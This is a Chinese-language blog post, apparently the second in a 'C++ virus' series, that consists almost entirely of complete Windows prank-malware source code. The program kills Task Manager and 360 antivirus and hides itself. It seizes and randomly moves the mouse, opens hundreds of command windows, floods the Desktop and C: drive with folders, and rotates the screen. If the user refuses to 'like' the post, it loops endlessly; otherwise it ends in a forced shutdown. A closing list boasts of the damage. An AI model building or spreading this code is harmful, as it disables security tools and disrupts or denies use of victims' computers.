C++病毒(^_^|)(2)

发布于:2025-02-13 ⋅ 阅读:(17) ⋅ 点赞:(0)

第二期

声明:

        仅供损害电脑,不得用于非法。损坏电脑,作者一律不负责。此作为作者原创,转载请经过同意。

直接上代码
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
HHOOK g_hHook;

void lrud(int n=1){
	if(n==1){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_LEFT,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_LEFT,0,KEYEVENTF_KEYUP,0);	
	}else if(n==2){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_UP,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0);		
	}else if(n==3){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_RIGHT,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_RIGHT,0,KEYEVENTF_KEYUP,0);		
	}else{
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_DOWN,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);	
	}
}

void for_lrud(){
	for(int i=1;i<=4;i++){
		lrud(i);
	}
	lrud(2);
}

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
  	if (nCode == HCBT_ACTIVATE) {
    	HWND hMsgBox = (HWND)wParam;
        SetWindowPos(hMsgBox, NULL, 0, 0, 400, 200, SWP_NOMOVE | SWP_NOZORDER);
        UnhookWindowsHookEx(g_hHook);
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

string itos3(int n){
	int a,b,c;
	a=n/100;
	b=n%100/10;
	c=n%10;
	string s="";
	if(a!=0){
		char d=a+'0';
		s+=d;		
	}
	if(b!=0||(b==0&&a!=0)){
		char d=b+'0';
		s+=d;
	}
	if(c!=0||(c==0&&b==0&&a!=0)||(c==0&&b!=0)){
		char d=c+'0';
		s+=d;
	}
	return s;
}

struct vir{
	struct wenjian{
		void xingshi(){
			system("taskkill /f /im taskmgr.exe");
			HWND hwnd;
			hwnd = FindWindow("ConsoleWindowClass", NULL);
			if (hwnd){
				ShowOwnedPopups(hwnd, SW_HIDE);
			    ShowWindow(hwnd, SW_HIDE);
			}
			MessageBox(NULL,"新年新气象","古诗",MB_OK);
			MessageBox(NULL,"新年多上当","古诗",MB_OK);
			MessageBox(NULL,"山外青山楼外楼","古诗",MB_OK);	
			MessageBox(NULL,"那里有个中分头","古诗",MB_OK);	
			MessageBox(NULL,"两只黄鹂鸣翠柳","古诗",MB_OK);
			MessageBox(NULL,"穿成烤串还不够","古诗",MB_OK);	
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("你阻止不了我入侵电脑!"),TEXT("病毒"),MB_OK|MB_ICONWARNING);
			Sleep(2000);
			WinExec("taskkill /f /im 360Safe.exe",SW_HIDE);			
			HWND hw=FindWindow("360Safe.exe",NULL);
			if(hw!=NULL){
				ShowWindow(hw,SW_HIDE);
			}
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("360呢"),TEXT("你"),MB_OK|MB_ICONWARNING);	
			Sleep(500);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("黑化中..."),TEXT("360"),MB_OK|MB_ICONMASK);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			Sleep(4000);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("准备好接受审判吧"),TEXT("病毒and360"),MB_OK|MB_ICONWARNING);
			ShowOwnedPopups(hwnd, SW_HIDE);
			ShowWindow(hwnd, SW_HIDE);			
			int ll=10000;
			while(ll--){
				int cx=GetSystemMetrics(SM_CXSCREEN);
				int cy=GetSystemMetrics(SM_CYSCREEN);
				SetCursorPos(rand() % cx,rand() % cy);
			}
		}
		void vira(){
			xingshi();
			int ll=100;
			while(ll--){
				system("start cmd");
			}
			MessageBox(NULL,"给你几秒关闭的时间","提示",MB_OK|MB_ICONWARNING);
			Sleep(10000);
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			MessageBox(NULL,"看看你的桌面","提示",MB_OK|MB_ICONWARNING);
			Sleep(20000);
			MessageBox(NULL,"你肯定都删了,那...","提示",MB_OK|MB_ICONWARNING);	
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			Sleep(20000);
			MessageBox(NULL,"鼠标被我控制啦!!!","提示",MB_OK|MB_ICONWARNING);			
			int ii=100000;
			while(ii--){
				SetCursorPos(1,1);
			}
			MessageBox(NULL,"鼠标连点器启动!!!","提示",MB_OK|MB_ICONWARNING);
			int iii=10000;
			while(iii--){
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			}
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"骗你的!!!再等一小会。","提示",MB_OK|MB_ICONWARNING);
			MessageBox(NULL,"看看你的C盘!","提示",MB_OK|MB_ICONWARNING);
			Sleep(10000);
			MessageBox(NULL,"屏幕作乱...","提示",MB_OK|MB_ICONWARNING);
			for_lrud();
			MessageBox(NULL,"文件夹即将占领世界(C盘)!","提示",MB_OK|MB_ICONWARNING);
			for(int i=1;i<=999;i++){
				string jj="mkdir C:\\a";
				jj+=itos3(i);
				system(jj.data());
				string jjb="mkdir C:\\b";
				jjb+=itos3(i);
				system(jjb.data());	
			}			
			int pp=MessageBox(NULL,"点个赞再走!不然...","提示",MB_OKCANCEL|MB_ICONWARNING);
			if(pp==IDCANCEL){
				while(1){
					system("start cmd");
					srand(time(0));
					SetCursorPos(rand()%GetSystemMetrics(SM_CXSCREEN),rand()%GetSystemMetrics(SM_CYSCREEN));
					lrud(rand()%4+1);
				}
			}
			HWND hwnd;
			hwnd = FindWindow("ConsoleWindowClass", NULL);
			ShowOwnedPopups(hwnd, SW_SHOW);
			ShowWindow(hwnd, SW_SHOW);
			MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);
			system("shutdown -s");
		}
	}wen;
}virus;

int main(){
	virus.wen.vira();
}

危害极大,建议损害电脑:

禁用任务管理器,隐藏程序,鼠标乱飞,100个cmd,桌面100文件夹,鼠标控制,鼠标连点,折磨心态,C盘爆炸,随意谎骗,不点赞惩罚